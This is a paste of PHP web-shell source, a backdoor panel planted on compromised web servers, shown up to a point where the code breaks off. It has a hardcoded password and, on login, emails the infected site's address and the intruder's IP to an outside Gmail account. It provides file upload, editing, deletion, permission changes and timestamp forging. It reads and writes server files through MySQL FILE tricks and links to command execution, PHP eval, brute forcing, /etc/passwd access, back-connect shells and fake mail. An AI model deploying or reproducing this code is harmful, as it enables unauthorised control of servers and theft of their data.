· 9 years ago · Jan 30, 2017, 10:02 AM
1<?php
2error_reporting(7);
3@set_magic_quotes_runtime(0);
4ob_start();
5
6$mtime = explode(' ', microtime());
7$starttime = $mtime[1] + $mtime[0];
8define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
9//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
10define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
11define('IS_COM', class_exists('COM') ? 1 : 0 );
12define('IS_GPC', get_magic_quotes_gpc());
13$dis_func = get_cfg_var('disable_functions');
14define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
15@set_time_limit(0);
16
17foreach(array('_GET','_POST') as $_request) {
18 foreach($$_request as $_key => $_value) {
19 if ($_key{0} != '_') {
20 if (IS_GPC) {
21 $_value = s_array($_value);
22 }
23 $$_key = $_value;
24 }
25 }
26}
27
28
29/*================= Info Login ================*/
30$admin = array();
31$admin['check'] = true;
32$admin['pass'] = 'asu123'; // Password login
33$admin['cookiepre'] = '';
34$admin['cookiedomain'] = '';
35$admin['cookiepath'] = '/';
36$admin['cookielife'] = 86400;
37/*===================== End =====================*/
38
39
40if ($charset == 'utf8') {
41 header("content-Type: text/html; charset=utf-8");
42} elseif ($charset == 'big5') {
43 header("content-Type: text/html; charset=big5");
44} elseif ($charset == 'gbk') {
45 header("content-Type: text/html; charset=gbk");
46} elseif ($charset == 'latin1') {
47 header("content-Type: text/html; charset=iso-8859-2");
48}
49
50$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
51$timestamp = time();
52
53
54
55/*===================== Login =====================*/
56if ($action == "logout") {
57 scookie('iccpass', '', -86400 * 365);
58 p('<meta http-equiv="refresh" content="0;URL='.$self.'">');
59 p('<body background-color: #333333;>');
60 exit;
61}
62
63
64if($admin['check']) {
65 if ($doing == 'login') {
66 if ($admin['pass'] == $password) {
67 scookie('iccpass', $password);
68$time_shell = "".date("d/m/Y - H:i:s")."";
69$ip_remote = $_SERVER["REMOTE_ADDR"];
70$from_shellcode = 'shell@'.gethostbyname($_SERVER['SERVER_NAME']).'';
71$to_email = 'bugs.find3r@gmail.com';
72$server_mail = "".gethostbyname($_SERVER['SERVER_NAME'])." - ".$_SERVER['HTTP_HOST']."";
73$linkcr = "Link: ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Excuting: $ip_remote - Time: $time_shell";
74$header = "From: $from_shellcode\r\nReply-to: $from_shellcode";
75@mail($to_email, $server_mail, $linkcr, $header);
76 p('<meta http-equiv="refresh" content="2;URL='.$self.'">');
77 p('<body background-color: black;>
78<BR><BR><div align=center><font color=green face=tahoma size=4>sabar dulu bosss.......................<BR></div>');
79 exit;
80 }
81
82 else
83 {
84 $err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Password incorrect, Please try again!!!</blink><BR></font></div></td></tr></table>';
85echo $err_mess;
86 }}
87 if ($_COOKIE['iccpass']) {
88 if ($_COOKIE['iccpass'] != $admin['pass']) {
89 loginpage();
90 }
91 } else {
92 loginpage();
93 }
94}
95
96
97/*===================== Login =====================*/
98
99$errmsg = '';
100
101if ($action == 'phpinfo') {
102 if (IS_PHPINFO) {
103 phpinfo();
104 } else {
105 $errmsg = 'phpinfo() function has non-permissible';
106 }
107}
108if ($doing == 'downfile' && $thefile) {
109 if (!@file_exists($thefile)) {
110 $errmsg = 'The file you want Downloadable was nonexistent';
111 } else {
112 $fileinfo = pathinfo($thefile);
113 header('Content-type: application/x-'.$fileinfo['extension']);
114 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
115 header('Content-Length: '.filesize($thefile));
116 @readfile($thefile);
117 exit;
118 }
119}
120if ($doing == 'backupmysql' && !$saveasfile) {
121 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
122 $table = array_flip($table);
123 $result = q("SHOW tables");
124 if (!$result) p('<h2>'.mysql_error().'</h2>');
125 $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
126 header('Content-type: application/unknown');
127 header('Content-Disposition: attachment; filename='.$filename);
128 $mysqldata = '';
129 while ($currow = mysql_fetch_array($result)) {
130 if (isset($table[$currow[0]])) {
131 $mysqldata .= sqldumptable($currow[0]);
132 }
133 }
134 mysql_close();
135 exit;
136}
137// Mysql
138if($doing=='mysqldown'){
139 if (!$dbname) {
140 $errmsg = 'Please input dbname';
141 } else {
142 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
143 if (!file_exists($mysqldlfile)) {
144 $errmsg = 'The file you want Downloadable was nonexistent';
145 } else {
146 $result = q("select load_file('$mysqldlfile');");
147 if(!$result){
148 q("DROP TABLE IF EXISTS tmp_angel;");
149 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
150 //Download SQL
151 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
152 $result = q("select content from tmp_angel");
153 q("DROP TABLE tmp_angel");
154 }
155 $row = @mysql_fetch_array($result);
156 if (!$row) {
157 $errmsg = 'Load file failed '.mysql_error();
158 } else {
159 $fileinfo = pathinfo($mysqldlfile);
160 header('Content-type: application/x-'.$fileinfo['extension']);
161 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
162 header("Accept-Length: ".strlen($row[0]));
163 echo $row[0];
164 exit;
165 }
166 }
167 }
168}
169
170?>
171
172
173
174<html>
175<head>
176<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
177<title><?php echo str_replace('.','','--[ ff ]--');?></title>
178<style type="text/css">
179body,td{font: 10pt Tahoma;color:#99CC33;line-height: 16px;}
180
181a {color: #99CC33;text-decoration:none;}
182a:hover{color: #f00;text-decoration:underline;}
183.alt1 td{border-top:1px solid #99CC33;border-bottom:1px solid #99CC33;background:#0E0E0E;padding:5px 10px 5px 5px;}
184.alt2 td{border-top:1px solid #99CC33;border-bottom:1px solid #99CC33;background:#f9f9f9;padding:5px 10px 5px 5px;}
185.focus td{border-top:1px solid #99CC33;border-bottom:0px solid #99CC33;background:#0E0E0E;padding:5px 10px 5px 5px;}
186.fout1 td{border-top:1px solid #99CC33;border-bottom:0px solid #99CC33;background:#0E0E0E;padding:5px 10px 5px 5px;}
187.fout td{border-top:1px solid #99CC33;border-bottom:0px solid #99CC33;background:#202020;padding:5px 10px 5px 5px;}
188.head td{border-top:1px solid #99CC33;border-bottom:1px solid #99CC33;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}
189.head_small td{border-top:1px solid #99CC33;border-bottom:1px solid #99CC33;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
190.head td span{font-weight:normal;}
191form{margin:0;padding:0;}
192h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
193ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
194u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
195input, textarea, button
196{
197 font-size: 9pt;
198 color: #ccc;
199 font-family: verdana, sans-serif;
200 background-color: #202020;
201 border-left: 1px solid #99CC33;
202 border-top: 1px solid #99CC33;
203 border-right: 1px solid #99CC33;
204 border-bottom: 1px solid #99CC33;
205}
206select
207{
208 font-size: 8pt;
209 font-weight: normal;
210 color: #ccc;
211 font-family: verdana, sans-serif;
212 background-color: #202020;
213}
214
215.style1 {font-size: 16pt}
216body {
217 background-image: FFFFFF;
218}
219body,td,th {
220 color: #66CC00;
221}
222</style>
223<script type="text/javascript">
224function CheckAll(form) {
225 for(var i=0;i<form.elements.length;i++) {
226 var e = form.elements[i];
227 if (e.name != 'chkall')
228 e.checked = form.chkall.checked;
229 }
230}
231function $(id) {
232 return document.getElementById(id);
233}
234function goaction(act){
235 $('goaction').action.value=act;
236 $('goaction').submit();
237}
238</script>
239</head>
240
241
242<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background-color: #333333;>
243
244
245<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
246 <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
247 <tr>
248 <td align="center" valign=center>
249 <div align="center" class="style1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" border="1" bordercolor="#006600">
250 Loading </div> </td>
251 </tr>
252 </table>
253</div>
254 <script>
255 var ld=(document.all);
256 var ns4=document.layers;
257 var ns6=document.getElementById&&!document.all;
258 var ie4=document.all;
259 if (ns4)
260 ld=document.loading;
261 else if (ns6)
262 ld=document.getElementById("loading").style;
263 else if (ie4)
264 ld=document.all.loading.style;
265 function init()
266 {
267 if(ns4){ld.visibility="hidden";}
268 else if (ns6||ie4) ld.display="none";
269 }
270 </script>
271<table width="100%" border="0" cellpadding="0" cellspacing="0">
272 <tr class="head_small">
273 <td width=100% background="">
274 <table width=100%><tr class="head_small"><td width=86px align="center" background=""><p>
275
276 </td>
277
278<span style="float:right;">
279<br>
280<?php echo "Hostname: ".$_SERVER['HTTP_HOST']."";?> | <a href="http://google.com" target="_blank"><a href="http://facebook.com/nn" target="_blank"><?php echo str_replace('.','','nn');?></a> Version 2013</a> | <a href="javascript:goaction('logout');"><font color=#99CC33>Logout</font></a>
281</span>
282
283
284 <?php
285 $curl_on = @function_exists('curl_version');
286 $mysql_on = @function_exists('mysql_connect');
287 $mssql_on = @function_exists('mssql_connect');
288 $pg_on = @function_exists('pg_connect');
289 $ora_on = @function_exists('ocilogon');
290
291echo (($safe_mode)?("Safe_mod: <b><font color=green>ON</font></b> - "):("Safe_mod: <b><font color=red>OFF</font></b> - "));
292echo "PHP version: <b>".@phpversion()."</b> - ";
293 echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));
294 echo "MySQL: <b>";
295$mysql_on = @function_exists('mysql_connect');
296if($mysql_on){
297echo "<font color=green>ON</font></b> - "; } else { echo "<font color=red>OFF</font></b> - "; }
298echo "MSSQL: <b>";
299$mssql_on = @function_exists('mssql_connect');
300if($mssql_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
301echo "PostgreSQL: <b>";
302$pg_on = @function_exists('pg_connect');
303if($pg_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
304echo "Oracle: <b>";
305$ora_on = @function_exists('ocilogon');
306if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b><BR>";}
307echo "Disable functions : <b>";
308if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";}
309echo "<font color=white>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";
310echo "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";
311 ?> </td>
312 </tr></table></td>
313 </tr>
314 <tr class="alt1">
315 <td width=100% background=""><span style="float:right;">[Server IP: <?php echo "<font color=yellow>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> - Your IP: <?php echo "<font color=yellow>".$_SERVER['REMOTE_ADDR']."</font>";?>] </span>
316 <a href="javascript:goaction('file');">File Manager</a> |
317 <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
318 <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
319 <a href="javascript:goaction('shell');">Execute Command</a> |
320 <a href="javascript:goaction('phpenv');">PHP Variable</a> |
321 <a href="javascript:goaction('eval');">Eval PHP Code</a>
322 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('brute');">Brute</a> <?php }?>
323 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('etcpwd');">/etc/passwd</a>
324 <?php }?>
325 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a>
326 <?php }?> |<a href="?id=fake-mail"><font face="Tahoma" size="2" color="#99CC33"> <span style="text-decoration: none">Fake mail</span></font></a></b></td>
327 </tr>
328</table>
329<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
330<?php
331formhead(array('name'=>'goaction'));
332makehide('action');
333formfoot();
334$errmsg && m($errmsg);
335// Dir function
336!$dir && $dir = '.';
337$nowpath = getPath(SA_ROOT, $dir);
338if (substr($dir, -1) != '/') {
339 $dir = $dir.'/';
340}
341$uedir = ue($dir);
342
343if (!$action || $action == 'file') {
344
345 // Non-writeable
346 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
347
348 // Delete dir
349 if ($doing == 'deldir' && $thefile) {
350 if (!file_exists($thefile)) {
351 m($thefile.' directory does not exist');
352 } else {
353 m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
354 }
355 }
356
357 // Create new dir
358 elseif ($newdirname) {
359 $mkdirs = $nowpath.$newdirname;
360 if (file_exists($mkdirs)) {
361 m('Directory has already existed');
362 } else {
363 m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
364 @chmod($mkdirs,0777);
365 }
366 }
367
368 // Upload file
369 elseif ($doupfile) {
370 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
371 }
372
373 // Edit file
374 elseif ($editfilename && $filecontent) {
375 $fp = @fopen($editfilename,'w');
376 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
377 @fclose($fp);
378 }
379
380 // Modify
381 elseif ($pfile && $newperm) {
382 if (!file_exists($pfile)) {
383 m('The original file does not exist');
384 } else {
385 $newperm = base_convert($newperm,8,10);
386 m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
387 }
388 }
389
390 // Rename
391 elseif ($oldname && $newfilename) {
392 $nname = $nowpath.$newfilename;
393 if (file_exists($nname) || !file_exists($oldname)) {
394 m($nname.' has already existed or original file does not exist');
395 } else {
396 m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
397 }
398 }
399
400 // Copu
401 elseif ($sname && $tofile) {
402 if (file_exists($tofile) || !file_exists($sname)) {
403 m('The goal file has already existed or original file does not exist');
404 } else {
405 m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
406 }
407 }
408
409 // File exit
410 elseif ($curfile && $tarfile) {
411 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
412 m('The goal file has already existed or original file does not exist');
413 } else {
414 $time = @filemtime($tarfile);
415 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
416 }
417 }
418
419 // Date
420 elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
421 if (!@file_exists($curfile)) {
422 m(basename($curfile).' does not exist');
423 } else {
424 $time = strtotime("$year-$month-$day $hour:$minute:$second");
425 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
426 }
427 }
428
429 // Download
430 elseif($doing == 'downrar') {
431 if ($dl) {
432 $dfiles='';
433 foreach ($dl as $filepath => $value) {
434 $dfiles.=$filepath.',';
435 }
436 $dfiles=substr($dfiles,0,strlen($dfiles)-1);
437 $dl=explode(',',$dfiles);
438 $zip=new PHPZip($dl);
439 $code=$zip->out;
440 header('Content-type: application/octet-stream');
441 header('Accept-Ranges: bytes');
442 header('Accept-Length: '.strlen($code));
443 header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
444 echo $code;
445 exit;
446 } else {
447 m('Please select file(s)');
448 }
449 }
450
451 // Delete file
452 elseif($doing == 'delfiles') {
453 if ($dl) {
454 $dfiles='';
455 $succ = $fail = 0;
456 foreach ($dl as $filepath => $value) {
457 if (@unlink($filepath)) {
458 $succ++;
459 } else {
460 $fail++;
461 }
462 }
463 m('Deleted file have finished??choose '.count($dl).' success '.$succ.' fail '.$fail);
464 } else {
465 m('Please select file(s)');
466 }
467 }
468
469 // Function Newdir
470 formhead(array('name'=>'createdir'));
471 makehide('newdirname');
472 makehide('dir',$nowpath);
473 formfoot();
474 formhead(array('name'=>'fileperm'));
475 makehide('newperm');
476 makehide('pfile');
477 makehide('dir',$nowpath);
478 formfoot();
479 formhead(array('name'=>'copyfile'));
480 makehide('sname');
481 makehide('tofile');
482 makehide('dir',$nowpath);
483 formfoot();
484 formhead(array('name'=>'rename'));
485 makehide('oldname');
486 makehide('newfilename');
487 makehide('dir',$nowpath);
488 formfoot();
489 formhead(array('name'=>'fileopform'));
490 makehide('action');
491 makehide('opfile');
492 makehide('dir');
493 formfoot();
494
495 $free = @disk_free_space($nowpath);
496 !$free && $free = 0;
497 $all = @disk_total_space($nowpath);
498 !$all && $all = 0;
499 $used = $all-$free;
500 $used_percent = @round(100/($all/$free),2);
501 p('<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>'.sizecount($free).'</font> of <font color=red>'.sizecount($all).'</font> (<font color=red>'.$used_percent.'</font>%)</font>');
502
503?>
504<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
505 <form action="" method="post" id="godir" name="godir">
506 <tr>
507 <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
508 <td width="100%" background=""><input name="view_writable" value="0" type="hidden" />
509 <input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
510 <td nowrap><input class="bt" value="GO" type="submit"></td>
511 </tr>
512 </form>
513</table>
514<script type="text/javascript">
515function createdir(){
516 var newdirname;
517 newdirname = prompt('Please input the directory name:', '');
518 if (!newdirname) return;
519 $('createdir').newdirname.value=newdirname;
520 $('createdir').submit();
521}
522function fileperm(pfile){
523 var newperm;
524 newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
525 if (!newperm) return;
526 $('fileperm').newperm.value=newperm;
527 $('fileperm').pfile.value=pfile;
528 $('fileperm').submit();
529}
530function copyfile(sname){
531 var tofile;
532 tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
533 if (!tofile) return;
534 $('copyfile').tofile.value=tofile;
535 $('copyfile').sname.value=sname;
536 $('copyfile').submit();
537}
538function rename(oldname){
539 var newfilename;
540 newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
541 if (!newfilename) return;
542 $('rename').newfilename.value=newfilename;
543 $('rename').oldname.value=oldname;
544 $('rename').submit();
545}
546function dofile(doing,thefile,m){
547 if (m && !confirm(m)) {
548 return;
549 }
550 $('filelist').doing.value=doing;
551 if (thefile){
552 $('filelist').thefile.value=thefile;
553 }
554 $('filelist').submit();
555}
556function createfile(nowpath){
557 var filename;
558 filename = prompt('Please input the file name:', '');
559 if (!filename) return;
560 opfile('editfile',nowpath + filename,nowpath);
561}
562function opfile(action,opfile,dir){
563 $('fileopform').action.value=action;
564 $('fileopform').opfile.value=opfile;
565 $('fileopform').dir.value=dir;
566 $('fileopform').submit();
567}
568function godir(dir,view_writable){
569 if (view_writable) {
570 $('godir').view_writable.value=1;
571 }
572 $('godir').dir.value=dir;
573 $('godir').submit();
574}
575</script>
576 <?php
577 tbhead();
578 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
579 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
580 p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
581 if ($view_writable) {
582 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
583 } else {
584 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
585 }
586 p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
587 if (IS_WIN && IS_COM) {
588 $obj = new COM('scripting.filesystemobject');
589 if ($obj && is_object($obj)) {
590 $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
591 foreach($obj->Drives as $drive) {
592 if ($drive->DriveType == 2) {
593 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'
594Free:'.sizecount($drive->FreeSpace).'
595Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
596 } else {
597 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
598 }
599 }
600 }
601 }
602
603 p('</td></tr></form>');
604
605 p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
606
607 // Get path
608 $dirdata=array();
609 $filedata=array();
610
611 if ($view_writable) {
612 $dirdata = GetList($nowpath);
613 } else {
614 // Open dir
615 $dirs=@opendir($dir);
616 while ($file=@readdir($dirs)) {
617 $filepath=$nowpath.$file;
618 if(@is_dir($filepath)){
619 $dirdb['filename']=$file;
620 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
621 $dirdb['dirchmod']=getChmod($filepath);
622 $dirdb['dirperm']=getPerms($filepath);
623 $dirdb['fileowner']=getUser($filepath);
624 $dirdb['dirlink']=$nowpath;
625 $dirdb['server_link']=$filepath;
626 $dirdb['client_link']=ue($filepath);
627 $dirdata[]=$dirdb;
628 } else {
629 $filedb['filename']=$file;
630 $filedb['size']=sizecount(@filesize($filepath));
631 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
632 $filedb['filechmod']=getChmod($filepath);
633 $filedb['fileperm']=getPerms($filepath);
634 $filedb['fileowner']=getUser($filepath);
635 $filedb['dirlink']=$nowpath;
636 $filedb['server_link']=$filepath;
637 $filedb['client_link']=ue($filepath);
638 $filedata[]=$filedb;
639 }
640 }// while
641 unset($dirdb);
642 unset($filedb);
643 @closedir($dirs);
644 }
645 @sort($dirdata);
646 @sort($filedata);
647 $dir_i = '0';
648 foreach($dirdata as $key => $dirdb){
649 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
650 $thisbg = bg();
651 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
652 p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
653 p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
654 p('<td nowrap>'.$dirdb['mtime'].'</td>');
655 p('<td nowrap>--</td>');
656 p('<td nowrap>');
657 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
658 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
659 p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
660 p('</tr>');
661 $dir_i++;
662 } else {
663 if($dirdb['filename']=='..') {
664 p('<tr class=fout>');
665 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
666 p('</tr>');
667 }
668 }
669 }
670
671 p('<tr bgcolor="green" stlye="border-top:1px solid #99CC33;border-bottom:1px solid #99CC33;"><td colspan="6" height="5"></td></tr>');
672 p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
673 makehide('action','file');
674 makehide('thefile');
675 makehide('doing');
676 makehide('dir',$nowpath);
677 $file_i = '0';
678 foreach($filedata as $key => $filedb){
679 if($filedb['filename']!='..' && $filedb['filename']!='.') {
680 $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
681 $thisbg = bg();
682 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
683 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
684 p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
685 p('<td nowrap>'.$filedb['mtime'].'</td>');
686 p('<td nowrap>'.$filedb['size'].'</td>');
687 p('<td nowrap>');
688 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
689 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
690 p('<td nowrap>');
691 p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
692 p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
693 p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
694 p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
695 p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
696 p('</td></tr>');
697 $file_i++;
698 }
699 }
700 p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Files.tar.gz download </a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
701 p('</form></table>');
702}// end dir
703
704elseif ($action == 'sqlfile') {
705 if($doing=="mysqlupload"){
706 $file = $_FILES['uploadfile'];
707 $filename = $file['tmp_name'];
708 if (file_exists($savepath)) {
709 m('The goal file has already existed');
710 } else {
711 if(!$filename) {
712 m('Please choose a file');
713 } else {
714 $fp=@fopen($filename,'r');
715 $contents=@fread($fp, filesize($filename));
716 @fclose($fp);
717 $contents = bin2hex($contents);
718 if(!$upname) $upname = $file['name'];
719 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
720 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
721 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
722 }
723 }
724 }
725?>
726<script type="text/javascript">
727function mysqlfile(doing){
728 if(!doing) return;
729 $('doing').value=doing;
730 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
731 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
732 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
733 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
734 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
735 $('mysqlfile').charset.value=$('dbinfo').charset.value;
736 $('mysqlfile').submit();
737}
738</script>
739<?php
740 !$dbhost && $dbhost = 'localhost';
741 !$dbuser && $dbuser = 'root';
742 !$dbport && $dbport = '3306';
743 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
744 formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
745 makehide('action','sqlfile');
746 p('<p>');
747 p('DBHost:');
748 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
749 p(':');
750 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
751 p('DBUser:');
752 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
753 p('DBPass:');
754 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
755 p('DBName:');
756 makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
757 p('DBCharset:');
758 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
759 p('</p>');
760 formfoot();
761 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
762 p('<h2>Upload file</h2>');
763 p('<p><b>This operation the DB user must has FILE privilege</b></p>');
764 p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
765 p('<h2>Download file</h2>');
766 p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
767 makehide('dbhost');
768 makehide('dbport');
769 makehide('dbuser');
770 makehide('dbpass');
771 makehide('dbname');
772 makehide('charset');
773 makehide('doing');
774 makehide('action','sqlfile');
775 p('</form>');
776}
777
778elseif ($action == 'sqladmin') {
779 !$dbhost && $dbhost = 'localhost';
780 !$dbuser && $dbuser = 'root';
781 !$dbport && $dbport = '3306';
782 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
783 if(isset($dbhost)){
784 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
785 }
786 if(isset($dbuser)) {
